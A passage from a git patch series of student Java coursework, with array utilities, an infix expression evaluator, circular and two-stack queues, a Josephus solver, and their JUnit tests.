+		for(int i = 0; i < arrLen; i++)
+		{
+			arr[i] = al.get(i);
+		}
+		
+		return arr;
+		
+
+	}
+
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		TreeSet<Integer> tr = new TreeSet<Integer>();
+		for(int i = 0; i < array1.length; i++)
+		{
+			tr.add(array1[i]);
+		}
+		for(int j = 0; j < array2.length; j++)
+		{
+			tr.add(array2[j]);
+		}
+		
+		int arrLen = tr.size();
+		int[] arr = new int[arrLen];
+		int index = 0;
+		
+		Iterator it = tr.iterator();
+		while(it.hasNext())
+		{
+			arr[index] = (Integer) it.next();
+			index++;
+		}
+		
+		return  arr;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		
+		int len = oldArray.length;
+		int arrLen = len + size;
+		int[] arr = new int[arrLen];
+		
+		for(int i = 0; i < arrLen; i++)
+		{
+			if (i < len)
+				arr[i] = oldArray[i];
+			else
+				arr[i] = 0;
+		}
+		
+		return arr;
+		
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		
+		ArrayList<Integer> al = new ArrayList<Integer>();
+		int first = 1;
+		int second = 1;
+		int value = 0;
+		if(max >= 2)
+		{
+			al.add(first);
+			al.add(second);
+		}
+		do
+		{
+			value = first + second;
+			if(value < max)
+			{
+				al.add(value);
+				first = second;
+				second = value;
+			}
+		}while(value < max);
+		
+		int arrLen = al.size();
+		int[] arr = new int[arrLen];
+		for(int i = 0; i < arrLen; i++)
+		{
+			arr[i] = al.get(i);
+		}
+		
+		return arr;
+		
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		
+		ArrayList<Integer> al = new ArrayList<Integer>();
+		if(max > 2)
+			al.add(2);
+		
+		int value = 3;
+		while(value < max)
+		{
+			int flag = 1;
+			for(int i = 2; i < value; i++)
+			{
+				if(value % i == 0)
+				{
+					flag = 0;
+					break;
+				}
+			}
+			
+			if (flag == 1)
+				al.add(value);
+			
+			value++;
+		}
+		
+		int arrLen = al.size();
+		int[] arr = new int[arrLen];
+		for(int i = 0; i < arrLen; i++)
+		{
+			arr[i] = al.get(i);
+		}
+		
+		return arr;
+		
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		
+		ArrayList<Integer> al = new ArrayList<Integer>();
+		for(int i = 1; i < max; i++)
+		{
+			if (isPerfectNumber(i))
+				al.add(i);
+		}
+		
+		int arrLen = al.size();
+		int[] arr = new int[arrLen];
+		for(int i = 0; i < arrLen; i++)
+		{
+			arr[i] = al.get(i);
+		}
+		
+		return arr;
+	}
+	
+	public boolean isPerfectNumber(int number)
+	{
+		ArrayList<Integer> al = new ArrayList<Integer>();
+		
+		for(int i = 1; i < number; i++)
+		{
+			if(number % i == 0)
+				al.add(i);
+		}
+		
+		int value = 0;
+		for(int j = 0; j < al.size(); j++)
+		{
+			value = value + al.get(j);
+		}
+		
+		return value == number;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		
+		String str = "";
+		int len = array.length;
+		for(int i = 0; i < len-1; i++)
+		{
+			str = str + array[i] + seperator;
+		}
+		str = str + array[len-1];
+		
+		return str;
+	}
+	
+	
+
+}
diff --git a/group19/1294642551/test/data_Structure_Utils/ArrayUtilTest.java b/group19/1294642551/test/data_Structure_Utils/ArrayUtilTest.java
new file mode 100644
index 0000000000..c4c478e1b2
--- /dev/null
+++ b/group19/1294642551/test/data_Structure_Utils/ArrayUtilTest.java
@@ -0,0 +1,100 @@
+package data_Structure_Utils;
+
+
+import org.junit.Assert;
+import org.junit.Test;
+
+public class ArrayUtilTest {
+
+	@Test
+	public void testReverseArray() {
+		ArrayUtil au = new ArrayUtil();
+		int[] origin = {7, 9, 30, 3, 4};
+		int[] expecteds ={4, 3, 30, 9, 7};
+		int[] actuals = au.reverseArray(origin);
+		
+		Assert.assertArrayEquals(expecteds, actuals);
+	}
+
+	@Test
+	public void testRemoveZero() {
+		ArrayUtil au = new ArrayUtil();
+		int[] oldArray = {1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
+		int[] expecteds = {1,3,4,5,6,6,5,4,7,6,7,5};
+		int[] actuals = au.removeZero(oldArray);
+		
+		Assert.assertArrayEquals(expecteds, actuals);
+	}
+
+	@Test
+	public void testMerge() {
+		
+		ArrayUtil au = new ArrayUtil();
+		int[] a1 = {3, 5, 7,8};
+		int[] a2 = {4, 5, 6,7};
+		int[] expecteds = {3,4,5,6,7,8};
+		int[] actuals = au.merge(a1, a2);
+		
+		Assert.assertArrayEquals(expecteds, actuals);
+	}
+
+	@Test
+	public void testGrow() {
+		
+		ArrayUtil au = new ArrayUtil();
+		int[] oldArray = {2,3,6};
+		int size = 3;
+		int[] expecteds = {2,3,6,0,0,0};
+		int[] actuals = au.grow(oldArray, size);
+		
+		Assert.assertArrayEquals(expecteds, actuals);
+	}
+
+	@Test
+	public void testFibonacci() {
+		
+		ArrayUtil au = new ArrayUtil();
+		int max = 15;
+		int[] expecteds = {1, 1, 2, 3, 5, 8, 13};
+		int[] actuals = au.fibonacci(max);
+		
+		Assert.assertArrayEquals(expecteds, actuals);
+	}
+		
+		
+
+	@Test
+	public void testGetPrimes() {
+		ArrayUtil au = new ArrayUtil();
+		int max = 23;
+		int[] expecteds = {2,3,5,7,11,13,17,19};
+		int[] actuals = au.getPrimes(max);
+		
+		Assert.assertArrayEquals(expecteds, actuals);
+		
+	}
+
+	@Test
+	public void testGetPerfectNumbers() {
+		
+		ArrayUtil au = new ArrayUtil();
+		int max = 30;
+		int[] expecteds = {6, 28};
+		int[] actuals = au.getPerfectNumbers(max);
+		
+		Assert.assertArrayEquals(expecteds, actuals);
+	}
+
+	@Test
+	public void testJoin() {
+		
+		ArrayUtil au = new ArrayUtil();
+		int[] array = {3, 8, 9};
+		String seperator = "-";
+		String expecteds = "3-8-9";
+		String actuals = au.join(array, seperator);
+		
+		Assert.assertEquals(expecteds, actuals);
+	}
+
+}

From 91dcf513e9fd8a9d84885070698ff6d6a9f14224 Mon Sep 17 00:00:00 2001
From: Jiandan1357 <s20160705@xs.ustb.edu.cn>
Date: Fri, 28 Apr 2017 22:17:54 +0800
Subject: [PATCH 137/262] 6weekInfixExpr

6weekInfixExpr
---
 .../601689050/6weekInfixExpr/InfixExpr.java   | 61 +++++++++++++++++++
 .../6weekInfixExpr/InfixExprTest.java         | 50 +++++++++++++++
 group23/601689050/6weekInfixExpr/Stack.java   | 50 +++++++++++++++
 group23/601689050/6weekInfixExpr/Token.java   | 46 ++++++++++++++
 .../601689050/6weekInfixExpr/TokenParser.java | 47 ++++++++++++++
 5 files changed, 254 insertions(+)
 create mode 100644 group23/601689050/6weekInfixExpr/InfixExpr.java
 create mode 100644 group23/601689050/6weekInfixExpr/InfixExprTest.java
 create mode 100644 group23/601689050/6weekInfixExpr/Stack.java
 create mode 100644 group23/601689050/6weekInfixExpr/Token.java
 create mode 100644 group23/601689050/6weekInfixExpr/TokenParser.java

diff --git a/group23/601689050/6weekInfixExpr/InfixExpr.java b/group23/601689050/6weekInfixExpr/InfixExpr.java
new file mode 100644
index 0000000000..7b833931b3
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/InfixExpr.java
@@ -0,0 +1,61 @@
+import java.util.*;
+import java.util.Stack;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+public class InfixExpr {
+    String expr = null;
+    public InfixExpr(String expr){
+        this.expr = expr;
+    }
+    public float evaluate(){
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(this.expr);
+        Stack<Token> opStack = new Stack<>();
+        Stack<Float> numStack = new Stack();
+        for(Token token : tokens){
+            if(token.isOpretor()){
+                if(opStack.isEmpty()){
+                    opStack.push(token);
+                }else {
+                    while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
+                        Token prevOperator = opStack.pop();
+                        Float f2 = numStack.pop();
+                        Float f1 = numStack.pop();
+                        Float result = calculate(prevOperator.toString(),f1,f2);
+                        numStack.push(result);
+                    }
+                    opStack.push(token);
+                }
+            }
+            if(token.isNumber()){
+                numStack.push(new Float(token.getIntValue()));
+            }
+        }
+        while (!opStack.isEmpty()){
+            Token token = opStack.pop();
+            Float f2 = numStack.pop();
+            Float f1 = numStack.pop();
+            numStack.push(calculate(token.toString(),f1,f2));
+        }
+        return numStack.pop().floatValue();
+
+    }
+
+    private Float calculate(String op, float f1, float f2) {
+        if(op.equals("+")){
+            return f1 + f2;
+        }
+        if(op.equals("-")){
+            return f1 - f2;
+        }
+        if(op.equals("*")){
+            return f1 * f2;
+        }
+        if(op.equals("/")){
+            return f1 / f2;
+        }
+       return null;
+    }
+}
diff --git a/group23/601689050/6weekInfixExpr/InfixExprTest.java b/group23/601689050/6weekInfixExpr/InfixExprTest.java
new file mode 100644
index 0000000000..bf2f8e91a9
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/InfixExprTest.java
@@ -0,0 +1,50 @@
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+public class InfixExprTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("20/2*3");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("10-2*3+50");
+            Assert.assertEquals(54, expr.evaluate(), 0.001f);
+        }
+
+    }
+}
diff --git a/group23/601689050/6weekInfixExpr/Stack.java b/group23/601689050/6weekInfixExpr/Stack.java
new file mode 100644
index 0000000000..8a15be4366
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/Stack.java
@@ -0,0 +1,50 @@
+import java.util.ArrayList;
+import java.util.EmptyStackException;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+public class Stack {
+    public ArrayList array;
+    public int count;
+    public Stack(){
+        array = new ArrayList();
+    }
+    public void push (Object o){
+        count ++ ;
+        array.add(o);
+    }
+    public Object pop(){
+        count -- ;
+        Object o = array.get(count);
+        array.remove(o);
+        return o;
+    }
+    public Object peek(){
+        if(count  == 0){
+            throw new EmptyStackException();
+        }
+        return array.get(array.size()-1);
+    }
+    public boolean isEmpty(){
+        return array.size() == 0;
+    }
+    public int size(){
+        return count;
+    }
+    public String toString(){
+        StringBuilder string = new StringBuilder();
+        Stack s = new Stack();
+        int size = this.size();
+        for(int i = 0;i<size;i++){
+            string.append(this.peek().toString());
+            if(i < size -1)
+                string.append(",");
+            s.push(this.pop());
+        }
+        while (!s.isEmpty()){
+            this.push(s.pop());
+        }
+        return string.toString();
+    }
+}
diff --git a/group23/601689050/6weekInfixExpr/Token.java b/group23/601689050/6weekInfixExpr/Token.java
new file mode 100644
index 0000000000..753dbe75a0
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/Token.java
@@ -0,0 +1,46 @@
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+
+
+public class Token {
+    public static final List<String> OPERATORS = Arrays.asList("+","-","*","/");
+    public static final Map<String,Integer> priorities = new HashMap<>();
+    static {
+        priorities.put("+",1);
+        priorities.put("-",1);
+        priorities.put("*",2);
+        priorities.put("/",2);
+    }
+    static final int OPERATOR = 1;
+    static final int NUMBER = 2;
+    String value;
+    int type;
+    public Token(int type,String value){
+        this.type = type;
+        this.value = value;
+    }
+    public boolean isNumber(){
+        return type == NUMBER;
+    }
+    public boolean isOpretor(){
+        return type == OPERATOR;
+    }
+    public int getIntValue(){
+        return Integer.valueOf(value).intValue();
+    }
+    public String toString(){
+        return value;
+    }
+    public boolean hasHigherPriority(Token t){
+        if (!this.isOpretor() && !t.isOpretor()){
+            throw new RuntimeException();
+        }
+        return priorities.get(this.value) - priorities.get(t.value) > 0;
+    }
+}
diff --git a/group23/601689050/6weekInfixExpr/TokenParser.java b/group23/601689050/6weekInfixExpr/TokenParser.java
new file mode 100644
index 0000000000..3e966cc0a3
--- /dev/null
+++ b/group23/601689050/6weekInfixExpr/TokenParser.java
@@ -0,0 +1,47 @@
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by Lxx on 2017/4/28.
+ */
+public class TokenParser {
+    public List<Token> parse(String expr){
+        List<Token> tokens = new ArrayList<>();
+        int i = 0;
+        while (i < expr.length()) {
+
+            char c = expr.charAt(i);
+            if (isOperator(c)) {
+
+                Token t = new Token(Token.OPERATOR,String.valueOf(c));
+                tokens.add(t);
+                i++;
+            }else if(Character.isDigit(c)){
+                int nextOperatorIndex = indexOfNextOperator(i,expr);
+                String value = expr.substring(i,nextOperatorIndex);
+                Token t = new Token(Token.NUMBER,value);
+                tokens.add(t);
+                i = nextOperatorIndex;
+            }else {
+                System.out.println("输入值不符合要求");
+                i++;
+            }
+        }
+        return tokens;
+    }
+
+    private int indexOfNextOperator(int i, String expr) {
+        while(Character.isDigit(expr.charAt(i))){
+            i++;
+            if(i == expr.length()){
+                break;
+            }
+        }
+        return i;
+    }
+
+    private boolean isOperator(char c) {
+        String sc = String.valueOf(c);
+        return Token.OPERATORS.contains(sc);
+    }
+}

From 6c81fd2e936bb855adbff1449939b2bab6eccb6a Mon Sep 17 00:00:00 2001
From: zheng <765324639@qq.com>
Date: Sat, 29 Apr 2017 17:26:55 +0800
Subject: [PATCH 138/262] =?UTF-8?q?=E5=AE=8C=E6=88=90jvm=E7=AC=AC5?=
 =?UTF-8?q?=E6=AC=A1=E4=BD=9C=E4=B8=9A=E7=9A=84=E6=95=B0=E6=8D=AE=E7=BB=93?=
 =?UTF-8?q?=E6=9E=84=E9=83=A8=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../java/datastructure/queue/CircleQueue.java | 53 ++++++++++++++++
 .../java/datastructure/queue/Josephus.java    | 56 +++++++++++++++++
 .../java/datastructure/{ => queue}/Queue.java |  2 +-
 .../queue/QueueWithTwoStacks.java             | 60 +++++++++++++++++++
 .../datastructure/queue/CircleQueueTest.java  | 38 ++++++++++++
 .../datastructure/queue/JosephusTest.java     | 31 ++++++++++
 .../datastructure/{ => queue}/QueueTest.java  |  4 +-
 .../queue/QueueWithTwoStacksTest.java         | 27 +++++++++
 8 files changed, 269 insertions(+), 2 deletions(-)
 create mode 100644 group01/765324639/src/main/java/datastructure/queue/CircleQueue.java
 create mode 100644 group01/765324639/src/main/java/datastructure/queue/Josephus.java
 rename group01/765324639/src/main/java/datastructure/{ => queue}/Queue.java (88%)
 create mode 100644 group01/765324639/src/main/java/datastructure/queue/QueueWithTwoStacks.java
 create mode 100644 group01/765324639/src/test/java/datastructure/queue/CircleQueueTest.java
 create mode 100644 group01/765324639/src/test/java/datastructure/queue/JosephusTest.java
 rename group01/765324639/src/test/java/datastructure/{ => queue}/QueueTest.java (89%)
 create mode 100644 group01/765324639/src/test/java/datastructure/queue/QueueWithTwoStacksTest.java

diff --git a/group01/765324639/src/main/java/datastructure/queue/CircleQueue.java b/group01/765324639/src/main/java/datastructure/queue/CircleQueue.java
new file mode 100644
index 0000000000..a0e640bb9a
--- /dev/null
+++ b/group01/765324639/src/main/java/datastructure/queue/CircleQueue.java
@@ -0,0 +1,53 @@
+package datastructure.queue;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	private int size = 0;
+	
+	public boolean isEmpty() {
+		return size == 0;
+        
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        if (size >= DEFAULT_SIZE) {
+            throw new RuntimeException("队列已满");
+        }
+        elementData[rear] = data;
+        rear = (rear + 1) % DEFAULT_SIZE;
+        size++;
+    }
+
+    @SuppressWarnings("unchecked")
+    public E deQueue() {
+        if (size <= 0) {
+            throw new RuntimeException("队列已空");
+        }
+        size--;
+        Object object = elementData[front];
+        front = (front + 1) % DEFAULT_SIZE;
+        return (E) object;
+    }
+}
diff --git a/group01/765324639/src/main/java/datastructure/queue/Josephus.java b/group01/765324639/src/main/java/datastructure/queue/Josephus.java
new file mode 100644
index 0000000000..b927353cb4
--- /dev/null
+++ b/group01/765324639/src/main/java/datastructure/queue/Josephus.java
@@ -0,0 +1,56 @@
+package datastructure.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数，
+ * 报到M的人会被杀死， 直到最后一个人留下来 该方法返回一个List， 包含了被杀死人的次序
+ * 
+ * @author liuxin
+ *
+ */
+public class Josephus {
+
+    public static List<Integer> execute(int n, int m) {
+        List<Integer> list = new ArrayList<>();
+
+        Queue queue1 = new Queue();
+        for (int i = 0; i < n; i++) {
+            queue1.enQueue(i);
+        }
+        Queue queue2 = new Queue();
+
+        int index = 1;
+        while (list.size() < n - 1) {
+            int queue1Size = queue1.size();
+            for (int i = 0; i < queue1Size; i++) {
+                if (index % m != 0) {
+                    queue2.enQueue(queue1.deQueue());
+                } else {
+                    list.add((int) queue1.deQueue());
+                    index = 0;
+                }
+                index++;
+            }
+            int queue2Size = queue2.size();
+            for (int i = 0; i < queue2Size; i++) {
+                if (index % m != 0) {
+                    queue1.enQueue(queue2.deQueue());
+                } else {
+                    list.add((int) queue2.deQueue());
+                    index = 0;
+                }
+                index++;
+            }
+        }
+        if (!queue1.isEmpty()) {
+            list.add((int)queue1.deQueue());
+        }
+        if (!queue2.isEmpty()) {
+            list.add((int)queue2.deQueue());
+        }
+        return list;
+    }
+
+}
diff --git a/group01/765324639/src/main/java/datastructure/Queue.java b/group01/765324639/src/main/java/datastructure/queue/Queue.java
similarity index 88%
rename from group01/765324639/src/main/java/datastructure/Queue.java
rename to group01/765324639/src/main/java/datastructure/queue/Queue.java
index d4cfec525e..07f6586f21 100644
--- a/group01/765324639/src/main/java/datastructure/Queue.java
+++ b/group01/765324639/src/main/java/datastructure/queue/Queue.java
@@ -1,4 +1,4 @@
-package datastructure;
+package datastructure.queue;
 
 import datastructure.linkedlist.LinkedList;
 
diff --git a/group01/765324639/src/main/java/datastructure/queue/QueueWithTwoStacks.java b/group01/765324639/src/main/java/datastructure/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..2a2ea9cb91
--- /dev/null
+++ b/group01/765324639/src/main/java/datastructure/queue/QueueWithTwoStacks.java
@@ -0,0 +1,60 @@
+package datastructure.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    
+
+    public boolean isEmpty() {
+        if (stack1.empty() && stack2.empty()) {
+            return true;
+        }
+        return false;
+    }
+
+
+    
+    public int size() {
+        return stack1.size() + stack2.size();   
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+            return null;
+        }
+        
+        if (!stack2.empty()) {
+            return stack2.pop();
+        }
+        while (!stack1.empty()) {
+            stack2.push(stack1.pop());
+        }
+        return stack2.pop();
+    }
+
+
+
+ }
+
diff --git a/group01/765324639/src/test/java/datastructure/queue/CircleQueueTest.java b/group01/765324639/src/test/java/datastructure/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..3ee6ac6bbf
--- /dev/null
+++ b/group01/765324639/src/test/java/datastructure/queue/CircleQueueTest.java
@@ -0,0 +1,38 @@
+package datastructure.queue;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+public class CircleQueueTest {
+
+    @Test
+    public void test() {
+        CircleQueue<String> circleQueue = new CircleQueue<>();
+        for (int i = 0; i < 10; i++) {
+            circleQueue.enQueue("circleQueue" + i);
+        }
+        Assert.assertEquals(10, circleQueue.size());
+        Assert.assertFalse(circleQueue.isEmpty());
+        for (int i = 0; i < 5; i++) {
+            Assert.assertEquals("circleQueue" + i, circleQueue.deQueue());
+        }
+        Assert.assertEquals(5, circleQueue.size());
+        Assert.assertFalse(circleQueue.isEmpty());
+        for (int i = 5; i< 10; i++) {
+            Assert.assertEquals("circleQueue" + i, circleQueue.deQueue());
+        }
+        Assert.assertEquals(0, circleQueue.size());
+        Assert.assertTrue(circleQueue.isEmpty());
+        
+        for (int i = 0; i < 6; i++) {
+            circleQueue.enQueue("item" + i);
+        }
+        Assert.assertEquals(6, circleQueue.size());
+        Assert.assertFalse(circleQueue.isEmpty());
+        for (int i = 0; i < 6; i++) {
+            Assert.assertEquals("item" + i, circleQueue.deQueue());
+        }
+        Assert.assertEquals(0, circleQueue.size());
+        Assert.assertTrue(circleQueue.isEmpty());
+    }
+}
diff --git a/group01/765324639/src/test/java/datastructure/queue/JosephusTest.java b/group01/765324639/src/test/java/datastructure/queue/JosephusTest.java
new file mode 100644
index 0000000000..bc079b54f2
--- /dev/null
+++ b/group01/765324639/src/test/java/datastructure/queue/JosephusTest.java
@@ -0,0 +1,31 @@
+package datastructure.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+	    Assert.assertEquals("[0, 1, 2, 3, 4, 5, 6]", Josephus.execute(7, 1).toString());
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		Assert.assertEquals("[2, 5, 1, 6, 4, 0, 3]", Josephus.execute(7, 3).toString());
+		Assert.assertEquals("[3, 0, 5, 4, 6, 2, 1]", Josephus.execute(7, 4).toString());
+		Assert.assertEquals("[6, 0, 2, 5, 1, 3, 4]", Josephus.execute(7, 7).toString());
+		
+	}
+
+}
diff --git a/group01/765324639/src/test/java/datastructure/QueueTest.java b/group01/765324639/src/test/java/datastructure/queue/QueueTest.java
similarity index 89%
rename from group01/765324639/src/test/java/datastructure/QueueTest.java
rename to group01/765324639/src/test/java/datastructure/queue/QueueTest.java
index b24f75ed53..ee9e169d8d 100644
--- a/group01/765324639/src/test/java/datastructure/QueueTest.java
+++ b/group01/765324639/src/test/java/datastructure/queue/QueueTest.java
@@ -1,9 +1,11 @@
-package datastructure;
+package datastructure.queue;
 
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
+import datastructure.queue.Queue;
+
 public class QueueTest {
 
     private Queue queue = new Queue();
diff --git a/group01/765324639/src/test/java/datastructure/queue/QueueWithTwoStacksTest.java b/group01/765324639/src/test/java/datastructure/queue/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..50024c010c
--- /dev/null
+++ b/group01/765324639/src/test/java/datastructure/queue/QueueWithTwoStacksTest.java
@@ -0,0 +1,27 @@
+package datastructure.queue;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+public class QueueWithTwoStacksTest {
+
+    @Test
+    public void test() {
+        QueueWithTwoStacks<String> queue = new QueueWithTwoStacks<>();
+        Assert.assertNull(queue.deQueue());
+        Assert.assertTrue(queue.isEmpty());
+        for (int i = 0; i < 100; i++) {
+            queue.enQueue("item" + i);
+        }
+        for (int i = 0; i < 50; i++) {
+            Assert.assertEquals("item" + i, queue.deQueue());
+        }
+        queue.enQueue("item100");
+        queue.enQueue("item101");
+        Assert.assertEquals(52, queue.size());
+        int i = 50;
+        while (!queue.isEmpty()) {
+            Assert.assertEquals("item" + i++, queue.deQueue());
+        }
+    }
+}

From 390f050048aa5acfa74797273337e5e85bceb0e1 Mon Sep 17 00:00:00 2001
From: onlyLYJ <382266293@qq.com>
Date: Sun, 30 Apr 2017 07:51:48 +0800
Subject: [PATCH 139/262] miniJVM... almost copy from answer

---
 .../coding/basic/queue/CircleQueue.java       |  12 +-
 .../coding/basic/queue/Josephus.java          |   2 +-
 .../src/com/coderising/jvm/clz/ClassFile.java |  26 ++--
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  12 ++
 .../coderising/jvm/cmd/ByteCodeCommand.java   |  39 +++++-
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  16 ++-
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  20 +++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 +++-
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  66 +++++++++
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  23 ++++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  | 127 +++++++++++++++++-
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  24 ++++
 .../jvm/constant/MethodRefInfo.java           |   8 +-
 .../jvm/engine/ExecutionResult.java           |   2 -
 .../coderising/jvm/engine/ExecutorEngine.java |  42 +++++-
 .../com/coderising/jvm/engine/MethodArea.java |  11 +-
 .../com/coderising/jvm/engine/MiniJVM.java    |  18 +--
 .../com/coderising/jvm/engine/StackFrame.java |  37 ++++-
 .../src/com/coderising/jvm/method/Method.java |  66 +++++++++
 .../com/coderising/jvm/test/MiniJVMTest.java  |  28 ++++
 21 files changed, 578 insertions(+), 43 deletions(-)
 create mode 100644 group12/382266293/src/com/coderising/jvm/test/MiniJVMTest.java

diff --git a/group12/382266293/coding/basic/queue/CircleQueue.java b/group12/382266293/coding/basic/queue/CircleQueue.java
index d960510914..65d6f77c65 100644
--- a/group12/382266293/coding/basic/queue/CircleQueue.java
+++ b/group12/382266293/coding/basic/queue/CircleQueue.java
@@ -25,21 +25,21 @@ public boolean isEmpty() {
 	}
 
 	public int size() {
-		return getIndex(front - rear);
+		return getArrIndex(front - rear);
 	}
 
-	private int getIndex(int i) {
+	private int getArrIndex(int i) {
 		return i % DEFAULT_SIZE;
 	}
 
 	public void enQueue(E data) {
 		checkCapacity();
-		elementData[getIndex(front)] = data;
+		elementData[getArrIndex(front)] = data;
 		front++;
 	}
 
 	private void checkCapacity() {
-		if (getIndex(front - rear + 1) == 0) {
+		if (getArrIndex(front - rear + 1) == 0) {
 			throw new RuntimeException("Queue is full");
 		}
 	}
@@ -48,7 +48,7 @@ public E deQueue() {
 		if (size() == 0) {
 			return null;
 		}
-		Object o = elementData[getIndex(rear)];
+		Object o = elementData[getArrIndex(rear)];
 		rear++;
 		return (E) o;
 	}
@@ -59,7 +59,7 @@ public String toString() {
 		StringBuilder sb = new StringBuilder();
 		sb.append("[");
 		for (int i = 0; i < size(); i++) {
-			sb.append(elementData[getIndex(rear + i)]);
+			sb.append(elementData[getArrIndex(rear + i)]);
 			if (i != size() - 1) {
 				sb.append(",");
 			}
diff --git a/group12/382266293/coding/basic/queue/Josephus.java b/group12/382266293/coding/basic/queue/Josephus.java
index e98409d5d8..4eef15ab13 100644
--- a/group12/382266293/coding/basic/queue/Josephus.java
+++ b/group12/382266293/coding/basic/queue/Josephus.java
@@ -14,7 +14,7 @@ public class Josephus {
 	
 	public static List<Integer> execute(int n, int m){
 		
-		QueueWithTwoStacks<Integer> cq = new QueueWithTwoStacks();
+		QueueWithTwoStacks<Integer> cq = new QueueWithTwoStacks<Integer>();
 		for (int i = 0; i < n; i++) {
 			cq.enQueue(i);
 		}
